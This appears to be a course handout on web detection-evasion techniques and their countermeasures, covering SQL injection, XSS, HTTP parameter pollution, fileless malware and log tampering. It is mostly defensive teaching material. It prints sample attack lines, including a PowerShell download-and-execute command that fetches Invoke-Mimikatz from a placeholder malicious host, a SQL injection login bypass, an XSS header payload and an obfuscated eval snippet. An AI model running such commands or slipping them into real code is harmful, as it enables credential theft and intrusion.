0% found this document useful (0 votes)
13 views

Unit 3.2

Exploiting vulnerabilities is a critical phase in penetration testing where identified weaknesses in a web application are used to gain unauthorized access, escalate privileges, or perform other malicious activities. The goal is to assess the real-world impact of the vulnerabilities and provide actionable remediation.

Uploaded by

elakkiyaea
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
13 views

Unit 3.2

Exploiting vulnerabilities is a critical phase in penetration testing where identified weaknesses in a web application are used to gain unauthorized access, escalate privileges, or perform other malicious activities. The goal is to assess the real-world impact of the vulnerabilities and provide actionable remediation.

Uploaded by

elakkiyaea
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 10

Detection evasion techniques, and countermeasures for the most popular web

platforms

1. Obfuscation

 Technique: Attackers often obfuscate code to make it harder for security tools to
recognize malicious patterns. For instance, they may encode scripts using Base64 or
deeply nest JavaScript code to hide its true purpose.
 Example:
o JavaScript code like
eval(atob("ZG9jdW1lbnQuY29va2llPSJhdGsiOw==")); is obfuscated using
Base64. When decoded, it becomes document.cookie="atk";, setting a
cookie for further malicious activities.
 Countermeasures:
o Real-time De-obfuscation: Tools like JSDetox and Malzilla can de-obfuscate
malicious JavaScript and identify hidden functionality.
o Content Security Policy (CSP): Implement CSP to block inline scripts and
restrict the execution of JavaScript from unauthorized sources.
o Static and Dynamic Analysis: Use static code analysis tools to inspect code
before execution, and dynamic analysis to monitor code during runtime.

2. HTTP Parameter Pollution (HPP)

 Technique: Attackers inject extra HTTP parameters into URLs to modify the
request's behavior or evade filters.

Example:

An attacker sends a request to:

http://example.com/search?q=test&admin=true&q=malicious_query

If the server only expects a single q parameter, it might only process the first one and
overlook the second, which could modify query logic or security checks.

 Countermeasures:
o Input Validation: Validate parameters on both client and server-side,
ensuring that unexpected or duplicate parameters are not accepted.
o Request Normalization: Sanitize requests before they reach the server. For
instance, normalize multiple instances of the same parameter to avoid
ambiguity.
o WAF Configuration: Configure the Web Application Firewall (WAF) to
detect and block HTTP Parameter Pollution attempts.

3. User-Agent Spoofing

 Technique: Attackers modify their user-agent string to mimic browsers or legitimate


bots, helping them bypass security measures.
 Example:
o An attacker using a curl request might change their user-agent to
Mozilla/5.0 to appear as if they are using a common web browser.
 Countermeasures:
o Behavioral Analysis: Use fingerprinting techniques that examine browser
behavior, not just the user-agent string. For example, monitoring JavaScript
execution capabilities or rendering features can reveal inconsistencies.
o Anomaly Detection: Correlate user-agent data with other factors like IP
address, geolocation, and session history to detect suspicious patterns.

4. Domain Fluxing (Fast-Flux DNS)

 Technique: Attackers use fast-flux techniques to rapidly change IP addresses


associated with malicious domains, making it hard for security systems to block them.
 Example:
o A botnet-controlled domain resolves to a new IP address every few minutes,
causing traditional DNS blacklisting systems to fail.
o 10:00 AM: malicious-site.com -> 192.168.1.100
o 10:05 AM: malicious-site.com -> 192.168.1.101
o 10:10 AM: malicious-site.com -> 192.168.1.102
o Each of these IP addresses could represent an infected machine in a botnet
acting as a proxy for the actual malicious server. By constantly changing the
IP, the botnet makes it difficult for security systems to block access to
malicious-site.com, as a new IP would quickly replace any blocked one.
 Countermeasures:
o DNS Sinkholing: Redirect traffic destined for suspicious domains to a
sinkhole, effectively blocking malicious communication.
o Real-time DNS Blacklisting: Use services that dynamically update blacklists
based on the latest threat intelligence to block fast-flux domains.
o DNS Anomaly Detection: Employ machine learning to detect unusual DNS
resolution patterns (e.g., rapid IP address changes).

5. SQL Injection Evasion

 Technique: Attackers craft SQL queries that bypass security mechanisms by splitting
payloads or using encoding to avoid detection.
 Example:
o A basic SQL injection attack: SELECT * FROM users WHERE username =
'admin' OR 1=1--'; could be split into multiple requests or encoded using
URL encoding to evade WAF filters.
 Countermeasures:
o Parameterized Queries: Use prepared statements and parameterized queries
to ensure user inputs are treated as data rather than executable code.
o Web Application Firewall (WAF) Rules: Regularly update your WAF to
handle new SQL injection patterns. Make sure your WAF can detect both
encoded and decoded forms of the payload.
o Input Sanitization: Validate and sanitize all input data to ensure no untrusted
input is executed by the database.

Importance of Input Sanitization

 SQL Injection Risk: SQL injection attacks occur when attackers inject
malicious SQL code into a web application’s input fields (e.g., search
boxes, login forms). Without sanitization, this malicious code could be
executed directly by the database.
 Untrusted Inputs: Any data that comes from a user (e.g., form data, URL
parameters, cookies, HTTP headers) should be considered untrusted and
must be validated and sanitized before processing or executing it against
the database.
 Data Integrity and Security: By sanitizing input, you ensure that only
clean, expected data is processed, thereby maintaining the integrity of the
application and its data.

Key Steps for Input Validation and Sanitization

To properly sanitize and validate input data, follow these best practices:

a. Input Validation

Input validation involves checking the incoming data against predefined rules and patterns
to ensure it conforms to what the application expects. Invalid or unexpected inputs should be
rejected or handled appropriately.

 Whitelisting: Allow only certain values or patterns that are known to be valid. For
example, if a field only accepts numbers, reject any input containing letters or
symbols.
 Field Length: Restrict the length of input fields to prevent buffer overflows or
excessively large SQL injection payloads. For example, limit a username field to 50
characters.
 Data Type Checking: Ensure that the input matches the expected data type. If a field
is supposed to accept a number, reject any input that contains letters or special
characters.
o Example:
 For a username field:

if (!/^[a-zA-Z0-9_]{3,30}$/.test(username)) {
throw new Error("Invalid username");
}
 Range Checking: For numeric inputs, ensure that the value falls within a specific
range. This prevents attackers from injecting extreme values to trigger database
errors.

Example: If expecting an age between 18 and 100:

if (age < 18 || age > 100) {


throw new Error("Invalid age value");
}
b. Input Sanitization

Sanitization involves cleaning or escaping user inputs to remove or


neutralize any potentially harmful data. This step ensures that even if
malicious input is entered, it is rendered harmless before interacting
with the database.

Escape Special Characters: Special characters like ', ", ;, --, %, and
others should be escaped or removed when input is used in SQL
queries.
SQL Escaping Example: In PHP, use
mysqli_real_escape_string() to escape special characters.

$sanitized_input = mysqli_real_escape_string($conn, $input);

HTML Escaping Example: In JavaScript, sanitize input that might be


rendered in HTML by using libraries like DOMPurify.

javascript

let safeHTML = DOMPurify.sanitize(userInput);

Strip Dangerous Input: Remove dangerous characters or SQL-specific


terms like SELECT, UNION, DROP, etc., unless explicitly needed.

Example in Python:

python

import re
user_input = re.sub(r'[\'";--]', '', user_input) # Remove potentially
harmful characters

Use Parameterized Queries (Prepared Statements): One of the most


secure methods to prevent SQL injection is using parameterized
queries (also known as prepared statements). This ensures that user
input is treated as data, not executable code.

Example in PHP with MySQLi:

php

$stmt = $conn->prepare("SELECT * FROM users WHERE username


= ? AND password = ?");
$stmt->bind_param("ss", $username, $password); // "ss" means two
string inputs
$stmt->execute();
Example in Python with SQLite:

python

cursor.execute("SELECT * FROM users WHERE username = ? AND


password = ?", (username, password))

Example in Java with JDBC:

java

String sql = "SELECT * FROM users WHERE username = ?


AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

c. Reject Input by Default

Instead of allowing all inputs and trying to detect bad ones, follow a
default deny approach. This means rejecting any input that doesn't
specifically match allowed patterns.
e. Sanitize Output as Well

In addition to sanitizing input, it’s also important to sanitize output,


especially when displaying user-generated content in HTML (to
prevent XSS). Use encoding functions to ensure any special characters
are rendered safely in the browser.

Output Sanitization Example in PHP:

php

echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

3. SQL Injection Example Without Input Sanitization

Let’s consider a login form that lacks proper input sanitization:

php

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username'
AND password = '$password'";
$result = mysqli_query($conn, $query);

If an attacker enters the following:


Username: ' OR 1=1--
Password: anything

The resulting query would be:

sql

SELECT * FROM users WHERE username = '' OR 1=1--' AND


password = 'anything';

This query will bypass authentication, as the OR 1=1 condition always


evaluates to true, giving the attacker access.
4. SQL Injection Prevention with Input Sanitization

To prevent this SQL injection attack, the input should be validated and
sanitized, or better yet, parameterized queries should be used:

Using Prepared Statements (Safe Version):

php

$stmt = $conn->prepare("SELECT * FROM users WHERE username


= ? AND password = ?");
$stmt->bind_param("ss", $username, $password); // bind parameters
to avoid SQL injection
$stmt->execute();
$result = $stmt->get_result();

This ensures that user input is treated strictly as a string and not
executable SQL code, thereby preventing SQL injection.

6. Cross-Site Scripting (XSS) Evasion

 Technique: Attackers inject encoded or hidden scripts into web pages, often using
uncommon input fields or HTTP headers.
 Example:
o A hidden XSS payload could be injected through an HTTP header: User-
Agent: <script>alert('XSS');</script>, bypassing basic XSS filters.
 Countermeasures:
o Input Validation and Output Encoding: Ensure all user input is properly
validated, and use functions like htmlspecialchars() to encode potentially
dangerous characters.
o CSP: Implement a Content Security Policy that prevents scripts from
untrusted domains from executing on your platform.
o Auto-sanitizing Frameworks: Use frameworks like React or Angular that
automatically sanitize inputs to prevent XSS.

7. Encrypted Communication
 Technique: Attackers use encrypted communication channels (e.g., HTTPS, SSH) to
mask malicious activities from network monitoring systems.
 Example:

Malware communicating via HTTPS: Once malware is installed on a compromised


system, it may initiate an encrypted connection (using HTTPS) to its C2 server.
Through this encrypted channel, the malware can receive instructions, such as
downloading additional payloads, uploading stolen data, or launching further attacks.
Since the connection is encrypted, tools like firewalls and NIDS cannot inspect the
contents of the communication.

 Countermeasures:
o SSL/TLS Inspection: Deploy SSL/TLS interception tools that decrypt and
inspect encrypted traffic, detecting any malicious activities within the
encrypted session.
o Endpoint Detection: Use endpoint protection tools that can analyze behaviors
after traffic has been decrypted, allowing detection of malicious behavior on
the endpoint itself.

8. Fileless Malware

 Technique: Fileless malware operates entirely in memory, leaving no traces on the


file system, making it hard for traditional antivirus systems to detect.
 Example:
o PowerShell-based attacks that use legitimate system processes to load
malicious code directly into memory, such as through the Invoke-Mimikatz
script.
o Invoke-Mimikatz is a PowerShell-based script that executes the Mimikatz tool
directly in memory to extract credentials from a compromised machine
without writing any executable files to the disk. Here's how such an attack
might work:

Initial Access: The attacker gains access to the system through phishing or
exploiting a vulnerability.

Execution: The attacker uses PowerShell to run a fileless command like


Invoke-Mimikatz to extract sensitive information, such as user credentials,
directly from memory.

Command:

powershell

IEX (New-Object Net.WebClient).DownloadString('http://malicious-


server.com/Invoke-Mimikatz.ps1')

The script is fetched from a remote server and executed in memory, leaving
no trace on the hard drive.
Data Exfiltration: The extracted credentials are then sent to the attacker over
an encrypted channel.

 Countermeasures:
o Behavior-based Detection: Use tools like Sysmon or CrowdStrike that
monitor in-memory activities and detect abnormal process behaviors.

 Sysmon (System Monitor): A Windows system utility that logs and detects
system activity, including process creations, network connections, and memory
injections.

 Example: Sysmon can log the execution of PowerShell commands and


detect if a process is performing in-memory execution without writing files
to disk. This information is then correlated with other system events to
detect malicious activities.

 CrowdStrike Falcon: An endpoint detection and response (EDR) solution that


uses behavior-based analytics to detect malicious activities, including fileless
malware.

 Example: If an attacker tries to use Invoke-Mimikatz, CrowdStrike


Falcon monitors the abnormal use of PowerShell and flags the activity for
investigation.

o EDR Solutions: Implement Endpoint Detection and Response (EDR)


solutions that trace malicious behaviors at the system level, especially those
occurring in memory.

9. Time-Based Evasion (Sleep Evasion)

 Technique: Attackers insert delays in malicious code execution (e.g., making the
code "sleep" for hours or days) to evade dynamic analysis tools that stop monitoring
after a short time.
 Example:
o A malware script could include a sleep function (sleep(86400)) that delays
execution for a day, tricking automated sandboxes that typically monitor for a
few minutes.
 Countermeasures:
o Long-Term Monitoring: Use sandbox environments capable of long-duration
analysis to detect time-delayed payloads.
o Event-based Triggers: Implement event-driven analysis that triggers alarms
based on suspicious activities (e.g., sleeping functions) rather than a fixed time
window.

10. Anti-Automation Techniques


 Technique: Attackers evade detection by using CAPTCHA-solving bots or
mimicking human-like behavior to bypass automated defenses.
 Example:
o Bots that solve CAPTCHA images using third-party CAPTCHA-solving
services or scripts that introduce random time delays between actions to mimic
human interaction.
 Countermeasures:
o Advanced Anti-bot Systems: Deploy tools like PerimeterX that can detect
non-human behaviors based on sophisticated behavioral analysis techniques
(e.g., tracking mouse movement or keypress timing).
o Multi-Factor Authentication (MFA): Ensure critical areas are protected by
MFA, making it harder for bots to bypass security by solving CAPTCHAs.

12. Polymorphic & Metamorphic Malware

 Technique: Malware that continuously modifies its code structure to evade signature-
based detection. Polymorphic malware changes its appearance, while metamorphic
malware rewrites its own code entirely.
 Example:
o A polymorphic virus might encrypt itself with a different key each time it
infects a new system, rendering traditional signature-based antivirus tools
ineffective.
 Countermeasures:
o Machine Learning Detection: Use machine learning-based detection tools
that focus on behavioral anomalies rather than static signatures.
o Heuristic Analysis: Deploy heuristic analysis tools that identify suspicious
behaviors regardless of code appearance.

13. Log Tampering

 Technique: Attackers manipulate or delete log files to erase evidence of their


activities, making post-attack investigations difficult.
 Example:
o An attacker gains root access to a system and deletes or modifies log files that
record unauthorized actions.
 Countermeasures:
o Tamper-Evident Logging: Implement systems where log modifications are
easily detectable, such as cryptographic log sealing.
o Centralized Logging: Use centralized logging solutions that store logs in
secure, remote locations, making it harder for attackers to tamper with them.

14. Steganography
 Technique: Attackers hide malicious payloads in seemingly benign files (e.g.,
images, audio) to evade detection.
 Example:
o An attacker embeds malicious code within the pixel data of an image file. The
image appears normal to users but contains hidden instructions.
 Countermeasures:
o Steganalysis Tools: Use steganalysis tools like StegExpose to detect hidden
data within images or audio files.
o Traffic Monitoring: Monitor file upload/download traffic for unusual
patterns, such as an abnormally high number of media files being transferred.

You might also like